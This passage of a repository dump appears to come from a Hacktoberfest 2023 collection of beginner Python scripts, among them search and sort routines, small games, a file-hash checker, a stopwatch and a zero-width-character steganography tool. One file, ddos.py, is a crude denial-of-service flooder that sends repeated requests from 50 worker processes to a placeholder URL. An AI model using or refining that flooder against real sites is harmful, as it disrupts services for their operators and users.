print('Rotated array: ', left_rotate_array(original_array, array_size, rotations)) 42 | -------------------------------------------------------------------------------- /Hacktober2023/binary.py: -------------------------------------------------------------------------------- 1 | #WAP to define read ,search,write 2 | import pickle 3 | def write(): 4 | f=open("b.dat","wb") 5 | d=[] 6 | while True: 7 | r=int(input("enter roll:")) 8 | n=input("Enter name:") 9 | m=int(input("enter marks:")) 10 | l=[r,n,m] 11 | d.append(l) 12 | ch=input("Do you want to add more?Y/n") 13 | if ch in 'Nn': 14 | break 15 | pickle.dump(d,f) 16 | f.close() 17 | 18 | def read(): 19 | f=open("b.dat","rb") 20 | r=pickle.load(f) 21 | for i in r: 22 | k=i[0] 23 | n=i[1] 24 | m=i[2] 25 | print(k,n,m) 26 | f.close() 27 | 28 | def search(): 29 | f=open("b.dat","rb") 30 | x=pickle.load(f) 31 | r=int(input("Enter roll that is to be searched")) 32 | c=0 33 | for i in x: 34 | if i[0]==r: 35 | j=i[0] 36 | n=i[1] 37 | m=i[2] 38 | print(j,n,m) 39 | c=c+1 40 | break 41 | if c==0: 42 | print("roll not found") 43 | f.close() 44 | write() 45 | read() 46 | search() 47 | -------------------------------------------------------------------------------- /Hacktober2023/binary_search.py: -------------------------------------------------------------------------------- 1 | def binary_search(list, target): 2 | first = 0 3 | last = len(list) - 1 4 | while first <= last: 5 | midpoint = (first + last)//2 6 | if list[midpoint] == target: 7 | return midpoint 8 | elif list[midpoint] < target: 9 | first = midpoint + 1 10 | else: 11 | last = midpoint - 1 12 | return None 13 | 14 | def verify(index): 15 | if index is not None: 16 | print("Target found in index: ", index) 17 | else: 18 | print("Target not found in list") 19 | 20 | list=[1,2,3,4,5,6,7,8,9,10] 21 | target=10 22 | res=binary_search(list, target) 23 | verify(res) 24 | -------------------------------------------------------------------------------- /Hacktober2023/calculator2.py: -------------------------------------------------------------------------------- 1 | def add(x, y): 2 | return x + y 3 | 4 | def subtract(x, y): 5 | return x - y 6 | 7 | def multiply(x, y): 8 | return x * y 9 | 10 | def divide(x, y): 11 | if y == 0: 12 | return "Cannot divide by zero" 13 | return x / y 14 | 15 | while True: 16 | print("Options:") 17 | print("Enter 'add' for addition") 18 | print("Enter 'subtract' for subtraction") 19 | print("Enter 'multiply' for multiplication") 20 | print("Enter 'divide' for division") 21 | print("Enter 'quit' to end the program") 22 | 23 | user_input = input(": ") 24 | 25 | if user_input == "quit": 26 | break 27 | if user_input in ("add", "subtract", "multiply", "divide"): 28 | num1 = float(input("Enter first number: ")) 29 | num2 = float(input("Enter second number: ")) 30 | 31 | if user_input == "add": 32 | print("Result: ", add(num1, num2)) 33 | elif user_input == "subtract": 34 | print("Result: ", subtract(num1, num2)) 35 | elif user_input == "multiply": 36 | print("Result: ", multiply(num1, num2)) 37 | elif user_input == "divide": 38 | print("Result: ", divide(num1, num2)) 39 | else: 40 | print("Invalid input. Please try again.") 41 | -------------------------------------------------------------------------------- /Hacktober2023/checkhashme.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | def calculate_file_hash(file_path, hash_algorithm='sha256', buffer_size=65536): 4 | """Calculate hash value of a file using the specified hash algorithm.""" 5 | hasher = hashlib.new(hash_algorithm) 6 | with open(file_path, 'rb') as file: 7 | buffer = file.read(buffer_size) 8 | while len(buffer) > 0: 9 | hasher.update(buffer) 10 | buffer = file.read(buffer_size) 11 | return hasher.hexdigest() 12 | 13 | def check_file_hash(file_path, expected_hash, hash_algorithm='sha256'): 14 | """Check if the calculated hash matches the expected hash value.""" 15 | calculated_hash = calculate_file_hash(file_path, hash_algorithm) 16 | return calculated_hash == expected_hash 17 | 18 | if __name__ == "__main__": 19 | file_path = input("Enter the path to the file: ") 20 | expected_hash = input("Enter the expected hash value: ") 21 | hash_algorithm = input("Enter the hash algorithm (default is sha256): ").lower() or 'sha256' 22 | 23 | try: 24 | if check_file_hash(file_path, expected_hash, hash_algorithm): 25 | print("File integrity verified. The hash matches the expected value.") 26 | else: 27 | print("File integrity compromised. The hash does not match the expected value.") 28 | except FileNotFoundError: 29 | print("File not found. Please check the file path.") 30 | except Exception as e: 31 | print("An error occurred:", str(e)) 32 | -------------------------------------------------------------------------------- /Hacktober2023/cycle_detection.py: -------------------------------------------------------------------------------- 1 | # Program to find whether cycle exists in a graph 2 | 3 | def search(graph, vertex, visited, parent): 4 | visited[vertex] = True 5 | 6 | for neighbor in graph[vertex]: 7 | if not visited[neighbor]: 8 | if search(graph, neighbor, visited, vertex): 9 | return True 10 | elif parent != neighbor: 11 | return True 12 | 13 | return False 14 | 15 | def has_cycle(graph): 16 | visited = {v: False for v in graph.keys()} 17 | 18 | for vertex in graph.keys(): 19 | if not visited[vertex]: 20 | if search(graph, vertex, visited, None): 21 | return True 22 | 23 | return False 24 | 25 | 26 | # Creates the undirected graph using adjacency list from the user input 27 | graph_adj_list = {} 28 | 29 | total_nodes = int(input("Enter total nodes: ")) 30 | for i in range(total_nodes): 31 | node = int(input("Enter node: ")) 32 | graph_adj_list[node] = list(map(int,input("Enter neighbors: ").split())) 33 | 34 | print("Graph is ",graph_adj_list) 35 | 36 | hascycle = has_cycle(graph_adj_list) 37 | print("Graph has cycle") if hascycle else print("Graph has no cycle") 38 | 39 | ''' 40 | Input/ Output: 41 | 42 | Enter total nodes: 6 43 | Enter node: 1 44 | Enter neighbors: 2 3 45 | Enter node: 2 46 | Enter neighbors: 1 4 47 | Enter node: 3 48 | Enter neighbors: 1 4 5 6 49 | Enter node: 4 50 | Enter neighbors: 2 3 5 51 | Enter node: 5 52 | Enter neighbors: 3 4 53 | Enter node: 6 54 | Enter neighbors: 3 55 | Graph is {1: [2, 3], 2: [1, 4], 3: [1, 4, 5, 6], 4: [2, 3, 5], 5: [3, 4], 6: [3]} 56 | Graph has cycle 57 | 58 | ''' -------------------------------------------------------------------------------- /Hacktober2023/ddos.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import multiprocessing 3 | import time 4 | 5 | # The target - your own website, in theory 6 | TARGET_URL = 'http://your-own-website.com' 7 | 8 | # The number of workers in the pool - adjust based on your machine's capabilities 9 | NUM_WORKERS = 50 10 | 11 | def attack(): 12 | while True: 13 | # Sending a large number of requests to the target website 14 | response = requests.get(TARGET_URL) 15 | if response.status_code == 200: 16 | print(f"Attack successful! >:) Status code: {response.status_code}") 17 | else: 18 | print(f"Attack blocked! :( Status code: {response.status_code}") 19 | time.sleep(1) # Give it a rest, champ 20 | 21 | # If this script was legal, which it isn't, this would unleash the hounds 22 | if __name__ == "__main__": 23 | with multiprocessing.Pool(NUM_WORKERS) as pool: 24 | pool.map(attack, range(NUM_WORKERS)) 25 | -------------------------------------------------------------------------------- /Hacktober2023/dice_roll.py: -------------------------------------------------------------------------------- 1 | #importing module for random number generation 2 | import random 3 | 4 | #range of the values of a dice 5 | min_val = 1 6 | max_val = 6 7 | 8 | #to loop the rolling through user input 9 | roll_again = "yes" 10 | 11 | #loop 12 | while roll_again == "yes" or roll_again == "y": 13 | print("Rolling The Dices...") 14 | print("The Values are :") 15 | 16 | #generating and printing 1st random integer from 1 to 6 17 | print(random.randint(min_val, max_val)) 18 | 19 | #generating and printing 2nd random integer from 1 to 6 20 | print(random.randint(min_val, max_val)) 21 | 22 | #asking user to roll the dice again. Any input other than yes or y will terminate the loop 23 | roll_again = input("Roll the Dices Again?") 24 | -------------------------------------------------------------------------------- /Hacktober2023/guess-the-number.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def guess_the_number(): 4 | # Generate a random number between 1 and 100 5 | secret_number = random.randint(1, 100) 6 | attempts = 0 7 | 8 | print("Welcome to the Guess the Number game!") 9 | print("I'm thinking of a number between 1 and 100. Try to guess it!") 10 | 11 | while True: 12 | try: 13 | user_guess = int(input("Enter your guess: ")) 14 | attempts += 1 15 | 16 | if user_guess < secret_number: 17 | print("Too low! Try a higher number.") 18 | elif user_guess > secret_number: 19 | print("Too high! Try a lower number.") 20 | else: 21 | print(f"Congratulations! You guessed the number {secret_number} in {attempts} attempts.") 22 | break 23 | 24 | except ValueError: 25 | print("Invalid input. Please enter a valid number.") 26 | 27 | if __name__ == "__main__": 28 | guess_the_number() 29 | -------------------------------------------------------------------------------- /Hacktober2023/image_ascii.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | import sys 3 | 4 | # ASCII characters used to build the output text 5 | ASCII_CHARS = ['@', '#', 'S', '%', '?', '*', '+', ';', ':', ',', '.'] 6 | 7 | # Resize image according to a new width 8 | def resize_image(image, new_width=100): 9 | (old_width, old_height) = image.size 10 | aspect_ratio = old_height/float(old_width) 11 | new_height = int(aspect_ratio * new_width) 12 | resized_image = image.resize((new_width, new_height)) 13 | return resized_image 14 | 15 | # Convert each pixel to grayscale 16 | def grayify(image): 17 | grayscale_image = image.convert("L") 18 | return grayscale_image 19 | 20 | # Convert pixels to a string of ASCII characters 21 | def pixels_to_ascii(image): 22 | pixels = image.getdata() 23 | ascii_str = '' 24 | for pixel in pixels: 25 | ascii_str += ASCII_CHARS[pixel//25] 26 | return ascii_str 27 | 28 | def main(image_path, new_width=100): 29 | try: 30 | image = Image.open(image_path) 31 | except Exception as e: 32 | print(e) 33 | return 34 | 35 | image = resize_image(image) 36 | image = grayify(image) 37 | 38 | ascii_str = pixels_to_ascii(image) 39 | img_width = image.width 40 | 41 | ascii_str_len = len(ascii_str) 42 | ascii_img="" 43 | 44 | # Split the string based on width of the image 45 | for i in range(0, ascii_str_len, img_width): 46 | ascii_img += ascii_str[i:i+img_width] + "\n" 47 | 48 | # Print the result to the screen 49 | print(ascii_img) 50 | 51 | # Save the string to a file 52 | with open("ascii_image.txt", "w") as f: 53 | f.write(ascii_img) 54 | 55 | # Run the program 56 | main(sys.argv[1], new_width=100) 57 | -------------------------------------------------------------------------------- /Hacktober2023/jokes.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | URL = "https://geek-jokes.sameerkumar.website/api?format=json" 4 | 5 | res = requests.get(URL) 6 | print(res.json()["joke"]) 7 | -------------------------------------------------------------------------------- /Hacktober2023/k_nearest_neighbors.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import numpy as np 3 | import matplotlib.pyplot as plt 4 | from sklearn import datasets 5 | 6 | from mlfromscratch.utils import train_test_split, normalize, accuracy_score 7 | from mlfromscratch.utils import euclidean_distance, Plot 8 | from mlfromscratch.supervised_learning import KNN 9 | 10 | def main(): 11 | data = datasets.load_iris() 12 | X = normalize(data.data) 13 | y = data.target 14 | X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33) 15 | 16 | clf = KNN(k=5) 17 | y_pred = clf.predict(X_test, X_train, y_train) 18 | 19 | accuracy = accuracy_score(y_test, y_pred) 20 | 21 | print ("Accuracy:", accuracy) 22 | 23 | # Reduce dimensions to 2d using pca and plot the results 24 | Plot().plot_in_2d(X_test, y_pred, title="K Nearest Neighbors", accuracy=accuracy, legend_labels=data.target_names) 25 | 26 | 27 | if __name__ == "__main__": 28 | main() -------------------------------------------------------------------------------- /Hacktober2023/koko eating bananas (problem875 leetcode).py: -------------------------------------------------------------------------------- 1 | def minEatingSpeed(self, piles: List[int], h: int) -> int: 2 | l=1 3 | r=max(piles) 4 | res=max(piles) 5 | while(l<=r): 6 | s=0 7 | k=(l+r)//2 8 | for p in piles: 9 | s+=math.ceil(p/k) 10 | if(s<=h): 11 | res=min(res,k) 12 | r=k-1 13 | else: 14 | l=k+1 15 | return res 16 | -------------------------------------------------------------------------------- /Hacktober2023/largestelement.py: -------------------------------------------------------------------------------- 1 | numbers = [45, 12, 67, 89, 34, 99, 56, 72] 2 | 3 | max_num = max(numbers) 4 | print(f"The largest number in the list is: {max_num}") 5 | -------------------------------------------------------------------------------- /Hacktober2023/list_operations.py: -------------------------------------------------------------------------------- 1 | // LANGUAGE: Python 2 | """ 3 | Write a menu driven program to perform 4 | various list operations, such as: 5 | • Append an element 6 | • Insert an element 7 | • Append a list to the given list 8 | • Modify an existing element 9 | • Delete an existing element from its position 10 | • Delete an existing element with a given value 11 | • Sort the list in ascending order 12 | • Sort the list in descending order 13 | • Display the list.""" 14 | l=[] 15 | print("List functions to manage a list of number's ") 16 | print("1. append an element\n2. insert an element\n3. append a list to a given list\n4. modify an existing element\n5. Delete an existing element from its position\n6. Delete an existing element with a given value\n7. Sort the list in ascending order\n8. Sort the list in decending order\n9. display the list\n10.exit") 17 | while True: 18 | ch=int(input("enter your choice")) 19 | if ch==1: 20 | b=int(input("enter the number")) 21 | l.append(b) 22 | print(l) 23 | b=None 24 | elif ch==2: 25 | b=int(input("enter the number")) 26 | c=int(input("enter the position to insert",b)) 27 | l.insert(c,b) 28 | print(l) 29 | b=c=None 30 | elif ch==3: 31 | a=[] 32 | n=int(input("enter the number of elements u want to enter")) 33 | for i in range(n): 34 | b=int(input("enter the number")) 35 | a.append(b) 36 | l.append(a) 37 | print(l) 38 | a=n=b=None 39 | elif ch==4: 40 | ind=[x for x in range(len(l))] 41 | for i in range(len(l)): 42 | a=ind[i] 43 | b=l[i] 44 | print("|{:^5}|{:^5}|".format(int(a),int(b))) 45 | a=int(input("enter the index of the element u want to modify")) 46 | b=int(input("new value to be inserted to the index",a)) 47 | l.pop(a) 48 | l.insert(b,a) 49 | print(l) 50 | a=x=b=i=None 51 | elif ch==5: 52 | ind=[x for x in range(len(l))] 53 | for i in range(len(l)): 54 | a=ind[i] 55 | b=l[i] 56 | print("|{:^5}|{:^5}|".format(int(a),int(b))) 57 | a=int(input("enter the index of the element u want to delete")) 58 | l.pop(a) 59 | print(l) 60 | a=b=i=None 61 | elif ch==6: 62 | a=int(input("enter the value of the element u want to delete")) 63 | l.remove(a) 64 | print(l) 65 | a=None 66 | elif ch==7: 67 | l.sort() 68 | print(l) 69 | elif ch==8: 70 | l.sort(reverse=True) 71 | elif ch==9: 72 | print(l) 73 | print("list with index") 74 | print("---------------") 75 | ind=[x for x in range(len(l))] 76 | for i in range(len(l)): 77 | a=ind[i] 78 | b=l[i] 79 | print("|{:^5}|{:^5}|".format(int(a),int(b))) 80 | else: 81 | break 82 | -------------------------------------------------------------------------------- /Hacktober2023/number_palindrome_checker.py: -------------------------------------------------------------------------------- 1 | def isPalindrome(x): 2 | n = x 3 | pd = 0 4 | if n < 0: 5 | return "Not a palindrome" 6 | while x > 0: 7 | d = x % 10 8 | pd = pd * 10 + d 9 | x = x// 10 10 | if pd == n: 11 | return f"{n} is a palindrome" 12 | else: 13 | return 'Not a palindrome' 14 | 15 | x = int(input('Enter to number to check: ')) 16 | print(isPalindrome(x)) 17 | -------------------------------------------------------------------------------- /Hacktober2023/pal.py: -------------------------------------------------------------------------------- 1 | x=int(input("Enter the number: ")) 2 | temp=x 3 | rev=0 4 | while(temp>0): 5 | dig=temp%10 6 | rev=rev*10+dig 7 | temp=temp//10 8 | 9 | if(rev==x): 10 | print("The number is palindrome") 11 | else: 12 | print("The number is not palindrome") 13 | -------------------------------------------------------------------------------- /Hacktober2023/palindrome.py: -------------------------------------------------------------------------------- 1 | def is_palindrome(s): 2 | s = s.lower().replace(" ", "") # Convert to lowercase and remove spaces 3 | return s == s[::-1] 4 | 5 | text = "racecar" 6 | if is_palindrome(text): 7 | print(f"{text} is a palindrome.") 8 | else: 9 | print(f"{text} is not a palindrome.") 10 | -------------------------------------------------------------------------------- /Hacktober2023/pdf_merge.py: -------------------------------------------------------------------------------- 1 | from PyPDF2 import PdfWriter 2 | import os 3 | 4 | merger = PdfWriter() 5 | files = [file for file in os.listdir() if file.endswith('.pdf')] 6 | for pdf in files: 7 | merger.append(pdf) 8 | 9 | merger.write("merged-pdf.pdf") 10 | merger.close() -------------------------------------------------------------------------------- /Hacktober2023/placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techyminati/python_codes/59870152b4409b7a244b42854e39955ff629bc79/Hacktober2023/placeholder -------------------------------------------------------------------------------- /Hacktober2023/python-binary-search.py: -------------------------------------------------------------------------------- 1 | #Python-DSA---Simple Binary Search --- works best on sorted list 2 | # Python don't have Arrays, as built-in DS, but list[] as built-in DS, similar to that of array in other languages, like C. 3 | 4 | def binary_search(list, item): 5 | low = 0 6 | high = len(list) -1 7 | while low <= high: 8 | mid = (low + high) // 2 # Use integer division to find the middle index --- The mid should be calculated as (low + high) // 2 to find the middle index correctly. 9 | guess = list[mid] 10 | if guess == item: 11 | return mid 12 | if guess > item: 13 | high = mid - 1 14 | else: 15 | low = mid + 1 16 | return -1 # Return -1 to indicate that the item was not found in the list 17 | 18 | 19 | my_list = [1, 3, 5, 7, 9, 20, 23, 45, 75, 81, 89, 93, 110, 745, 777, 7563, 569, 7452, 45, 53, 40, 1025] 20 | 21 | #ml returns the index-position of the element in the list starting from 0 22 | ml = binary_search(my_list, 23) 23 | 24 | print("Length of the list is:", len(my_list)) 25 | 26 | #If list index is not Empty condition. 27 | if ml !=-1 : 28 | #print("Index position of the list item is:", ml) 29 | print(f" List item {my_list[ml]}, found at the index position of {ml} from the list.") 30 | else: 31 | print("Item not found in the list.") -------------------------------------------------------------------------------- /Hacktober2023/radix_sort.py: -------------------------------------------------------------------------------- 1 | #Radix sort implementation in python 2 | 3 | #counting sort method 4 | def Count_Sort(arr, m): 5 | n = len(arr) 6 | new = [1 for i in range(n)] 7 | c = [0] * (10) 8 | for i in range(0, n): 9 | index = (arr[i]//m) 10 | c[(index)%10] += 1 11 | for i in range(1,10): 12 | c[i] += c[i-1] 13 | i = n-1 14 | while i>=0: 15 | index = (arr[i]//m) 16 | new[ c[ (index)%10 ] - 1] = arr[i] 17 | c[ (index)%10 ] -= 1 18 | i -= 1 19 | i = 0 20 | for i in range(0,len(arr)): 21 | arr[i] = new[i] 22 | 23 | 24 | def Radix_sort(arr): 25 | largest_num = max(arr) 26 | place_value = 1 27 | while largest_num/place_value > 0: 28 | Count_Sort(arr,place_value) 29 | place_value *= 10 30 | 31 | #input the array 32 | arr=list(map(int, input("elements of array:-").strip().split())) 33 | 34 | #sort the array 35 | Radix_sort(arr) 36 | 37 | #print the sorted array 38 | print ("Array after implementation of radix sort is:") 39 | for i in range(len(arr)): 40 | print (arr[i]) 41 | -------------------------------------------------------------------------------- /Hacktober2023/randpass.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | def generate_password(length): 5 | characters = string.ascii_letters + string.digits + string.punctuation 6 | password = ''.join(random.choice(characters) for _ in range(length)) 7 | return password 8 | 9 | password_length = 12 # You can change this to your desired password length 10 | random_password = generate_password(password_length) 11 | print(f"Random Password: {random_password}") 12 | -------------------------------------------------------------------------------- /Hacktober2023/re.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | txt = "The Hacktoberfest 2023 is here" 4 | x = re.search("^The.*Hacktoberfest$", txt) 5 | -------------------------------------------------------------------------------- /Hacktober2023/recursion-example.py: -------------------------------------------------------------------------------- 1 | # Define a recursive function to calculate the factorial 2 | def factorial(n): 3 | # Base case: If n is 0 or 1, the factorial is 1 4 | if n == 0 or n == 1: 5 | return 1 6 | # Recursive case: For n > 1, calculate factorial using recursion 7 | else: 8 | # The factorial of n is n multiplied by the factorial of (n-1) 9 | return n * factorial(n - 1) 10 | 11 | # Ask the user for input 12 | number = int(input("Enter a non-negative integer: ")) 13 | 14 | # Call the factorial function and print the result 15 | if number < 0: 16 | print("Factorial is not defined for negative numbers.") 17 | else: 18 | result = factorial(number) 19 | print(f"The factorial of {number} is {result}.") -------------------------------------------------------------------------------- /Hacktober2023/regex.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | pattern = '^a...s$' 4 | test_string = 'abyssswsws' 5 | result = re.match(pattern, test_string) 6 | 7 | if result: 8 | print("Search successful.") 9 | else: 10 | print("Search unsuccessful.") 11 | -------------------------------------------------------------------------------- /Hacktober2023/rock_paper_scissors.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def play_game(): 4 | choices = ['rock', 'paper', 'scissors'] 5 | 6 | user_score = 0 7 | bot_score = 0 8 | 9 | for _ in range(3): 10 | user_choice = input("Enter your choice (rock, paper, or scissors): ").lower() 11 | bot_choice = random.choice(choices) 12 | 13 | if user_choice not in choices: 14 | print("Invalid choice. Please choose from rock, paper, or scissors.") 15 | continue 16 | 17 | print(f"You chose {user_choice}. Bot chose {bot_choice}.") 18 | 19 | if user_choice == bot_choice: 20 | print("It's a tie!") 21 | elif (user_choice == 'rock' and bot_choice == 'scissors') or (user_choice == 'paper' and bot_choice == 'rock') or (user_choice == 'scissors' and bot_choice == 'paper'): 22 | print("You win this round!") 23 | user_score += 1 24 | else: 25 | print("Bot wins this round!") 26 | bot_score += 1 27 | 28 | if user_score > bot_score: 29 | print("You win the game!") 30 | elif user_score < bot_score: 31 | print("Bot wins the game!") 32 | else: 33 | print("It's a tie in the game!") 34 | 35 | if __name__ == "__main__": 36 | play_game() 37 | -------------------------------------------------------------------------------- /Hacktober2023/rolldice.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def roll_dice(num_dice=1, num_sides=6): 4 | if num_dice < 1 or num_sides < 2: 5 | return "Invalid input. Please provide valid values for the number of dice and sides." 6 | 7 | rolls = [random.randint(1, num_sides) for _ in range(num_dice)] 8 | return rolls 9 | 10 | def main(): 11 | print("Welcome to the Dice Rolling Game!") 12 | 13 | while True: 14 | num_dice = int(input("Enter the number of dice to roll: ")) 15 | num_sides = int(input("Enter the number of sides on each die: ")) 16 | 17 | rolls = roll_dice(num_dice, num_sides) 18 | 19 | print("\nRoll result:") 20 | if num_dice == 1: 21 | print(f"You rolled a {rolls[0]}!") 22 | else: 23 | print(f"You rolled: {', '.join(map(str, rolls))} (Total: {sum(rolls)})") 24 | 25 | play_again = input("\nRoll the dice again? (yes/no): ") 26 | if play_again.lower() != "yes": 27 | break 28 | 29 | print("Thanks for playing!") 30 | 31 | if __name__ == "__main__": 32 | main() 33 | -------------------------------------------------------------------------------- /Hacktober2023/roman_to_dec.py: -------------------------------------------------------------------------------- 1 | tallies = { 2 | 'I': 1, 3 | 'V': 5, 4 | 'X': 10, 5 | 'L': 50, 6 | 'C': 100, 7 | 'D': 500, 8 | 'M': 1000, 9 | # specify more numerals if you wish 10 | } 11 | 12 | def RomanNumeralToDecimal(romanNumeral): 13 | sum = 0 14 | for i in range(len(romanNumeral) - 1): 15 | left = romanNumeral[i] 16 | right = romanNumeral[i + 1] 17 | if tallies[left] < tallies[right]: 18 | sum -= tallies[left] 19 | else: 20 | sum += tallies[left] 21 | sum += tallies[romanNumeral[-1]] 22 | return sum 23 | -------------------------------------------------------------------------------- /Hacktober2023/scanfilesinadirectory.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def scan_files(directory): 4 | files_list = [] 5 | for foldername, subfolders, filenames in os.walk(directory): 6 | for filename in filenames: 7 | files_list.append(os.path.join(foldername, filename)) 8 | return files_list 9 | 10 | if __name__ == "__main__": 11 | # Replace 'directory_path' with the path of the directory you want to scan 12 | directory_path = input("Enter the directory path to scan: ") 13 | 14 | if os.path.isdir(directory_path): 15 | files = scan_files(directory_path) 16 | if files: 17 | print("List of files in the directory:") 18 | for file_path in files: 19 | print(file_path) 20 | else: 21 | print("No files found in the directory.") 22 | else: 23 | print("Invalid directory path. Please provide a valid directory path.") 24 | -------------------------------------------------------------------------------- /Hacktober2023/selection-sort-example.py: -------------------------------------------------------------------------------- 1 | #python selection sort example 2 | 3 | def selection_sort(arr): 4 | # Traverse through all elements in the array 5 | for i in range(len(arr)): 6 | # Assume the current element is the minimum 7 | min_index = i 8 | 9 | # Search for the minimum element in the remaining unsorted part 10 | for j in range(i + 1, len(arr)): 11 | if arr[j] < arr[min_index]: 12 | min_index = j 13 | 14 | # Swap the found minimum element with the current element 15 | arr[i], arr[min_index] = arr[min_index], arr[i] 16 | 17 | # Example usage 18 | 19 | my_list = [64, 25, 12, 22, 11, 65, 78, 999, 456, 42, 88, 2, 5, 1 ] 20 | selection_sort(my_list) 21 | print("Sorted array:", my_list) 22 | 23 | 24 | -------------------------------------------------------------------------------- /Hacktober2023/snake_water_gun.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def check(c , p): 4 | if c == p: 5 | return 0 6 | if c == 1 and p == 2: 7 | return -1 8 | if c == 3 and p == 1: 9 | return -1 10 | if c == 2 and p == 3: 11 | return -1 12 | return 1 13 | 14 | c = 0 15 | a = [0,0] 16 | while c < 3: 17 | c += 1 18 | computer = random.randint(1,3) 19 | player = int(input('Choose Snake / Water / Gun : ( 1 / 2 / 3: ')) 20 | r = check(computer, player) 21 | if r == 0: 22 | print('Draw') 23 | elif r == 1: 24 | print('+1 for you') 25 | a[1] = a[1] + 1 26 | else: 27 | print('Comp got it') 28 | a[0] = a[0] + 1 29 | if a[1] > a[0]: 30 | print('You won!') 31 | else: 32 | print('You lose amigo!') -------------------------------------------------------------------------------- /Hacktober2023/steg-plaintext.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import os 4 | def enc(): 5 | text=sys.argv[2] 6 | nameoffile=sys.argv[3] 7 | 8 | word_ord=[] 9 | 10 | secret_null=[] 11 | file=open(f'{nameoffile}',"w") 12 | for i in range(len(text)): 13 | word_ord.append(ord(text[i])) 14 | 15 | 16 | 17 | for j in word_ord: 18 | secret_null.append("\u200b"*j) 19 | 20 | for i in range(len(secret_null)): 21 | file.write(secret_null[i]) 22 | file.write("\n") 23 | file.close() 24 | print('\n\t\t\033[1;32m C - 0 - V - E - R - T - X \n') 25 | print("\t\t\033[1;3m File Saved as : "+str(file.name)) 26 | 27 | 28 | 29 | def decoder(): 30 | sec='' 31 | reader=sys.argv[2] 32 | encfile=open(reader,'rb') 33 | num=len(encfile.readlines()) 34 | output=open('decoded.txt','w') 35 | anotherfile=open(reader,'r') 36 | for i in range(num): 37 | sec+=chr(len(anotherfile.readline())-1) 38 | output.write(sec) 39 | print(sec) 40 | output.close() 41 | anotherfile.close() 42 | encfile.close() 43 | 44 | 45 | try: 46 | if((sys.argv[1]=='-d') and (len(sys.argv)==3)): 47 | decoder() 48 | elif ((sys.argv[1]=='-e') and (len(sys.argv)==4)): 49 | enc() 50 | else: 51 | print("Invalid BRO") 52 | except Exception as e: 53 | print("Invalid Input") 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /Hacktober2023/step_word_chain.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Given a start wor, an end word and a dictionary of same length valid words, find the shortest transformation sequence from start to end such that only one letter is changed at each step of the sequence, and each transformed word exists in the dictionary else return none. 3 | 4 | ''' 5 | 6 | from collections import deque 7 | from string import ascii_lowercase 8 | 9 | def word_ladder(start, end, words): 10 | queue = deque([(start, [start])]) 11 | 12 | while queue: 13 | word, path = queue.popleft() 14 | if word == end: 15 | return path 16 | for i in range(len(word)): 17 | for char in ascii_lowercase: 18 | next_word = word[:i] + char + word[i+1:] 19 | if next_word in words: 20 | words.remove(next_word) 21 | queue.append([next_word, path+[next_word]]) 22 | return None 23 | 24 | start, end = "dog", "cat" 25 | dictionary = ["dot", "dop", "dat", "cat"] 26 | print(word_ladder(start, end, dictionary)) 27 | 28 | 29 | ''' 30 | Output : 31 | ['dog', 'dot', 'dat', 'cat'] 32 | 33 | ''' -------------------------------------------------------------------------------- /Hacktober2023/stopwatch.py: -------------------------------------------------------------------------------- 1 | # CODE: Stop Watch in Python 2 | # AUTHOR: Naman Arora 3 | 4 | 5 | import tkinter as Tkinter 6 | from datetime import datetime 7 | 8 | counter = 0 9 | running = False 10 | 11 | 12 | def counter_label(label): 13 | def count(): 14 | if running: 15 | global counter 16 | # To manage the intial delay. 17 | if counter == 0: 18 | display = 'Ready!' 19 | else: 20 | tt = datetime.utcfromtimestamp(counter) 21 | string = tt.strftime('%H:%M:%S') 22 | display = string 23 | 24 | label['text'] = display 25 | 26 | # label.after(arg1, arg2) delays by 27 | # first argument given in milliseconds 28 | # and then calls the function given as second argument. 29 | # Generally like here we need to call the 30 | # function in which it is present repeatedly. 31 | # Delays by 1000ms=1 seconds and call count again. 32 | label.after(1000, count) 33 | counter += 1 34 | 35 | # Triggering the start of the counter. 36 | count() 37 | 38 | 39 | # start function of the stopwatch 40 | def Start(label): 41 | global running 42 | running = True 43 | counter_label(label) 44 | start['state'] = 'disabled' 45 | stop['state'] = 'normal' 46 | reset['state'] = 'normal' 47 | 48 | 49 | # Stop function of the stopwatch 50 | def Stop(): 51 | global running 52 | start['state'] = 'normal' 53 | stop['state'] = 'disabled' 54 | reset['state'] = 'normal' 55 | running = False 56 | 57 | 58 | # Reset function of the stopwatch 59 | def Reset(label): 60 | global counter 61 | counter = 0 62 | # If reset is pressed after pressing stop. 63 | if not running: 64 | reset['state'] = 'disabled' 65 | label['text'] = '00:00:00' 66 | # If reset is pressed while the stopwatch is running. 67 | else: 68 | label['text'] = '00:00:00' 69 | 70 | 71 | root = Tkinter.Tk() 72 | root.title("Stopwatch") 73 | 74 | # Fixing the window size. 75 | root.minsize(width=250, height=70) 76 | label = Tkinter.Label(root, text='Ready!', fg='black', font='Verdana 30 bold') 77 | label.pack() 78 | f = Tkinter.Frame(root) 79 | start = Tkinter.Button(f, text='Start', width=6, command=lambda: Start(label)) 80 | stop = Tkinter.Button(f, text='Stop', width=6, state='disabled', command=Stop) 81 | reset = Tkinter.Button(f, text='Reset', width=6, state='disabled', command=lambda: Reset(label)) 82 | f.pack(anchor='center', pady=5) 83 | start.pack(side='left') 84 | stop.pack(side='left') 85 | reset.pack(side='left') 86 | root.mainloop() -------------------------------------------------------------------------------- /Hacktober2023/stopwatch2.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | from datetime import datetime, timedelta 3 | 4 | class Stopwatch: 5 | def __init__(self, root): 6 | self.root = root 7 | self.root.title("Stopwatch") 8 | 9 | self.is_running = False 10 | self.elapsed_time = 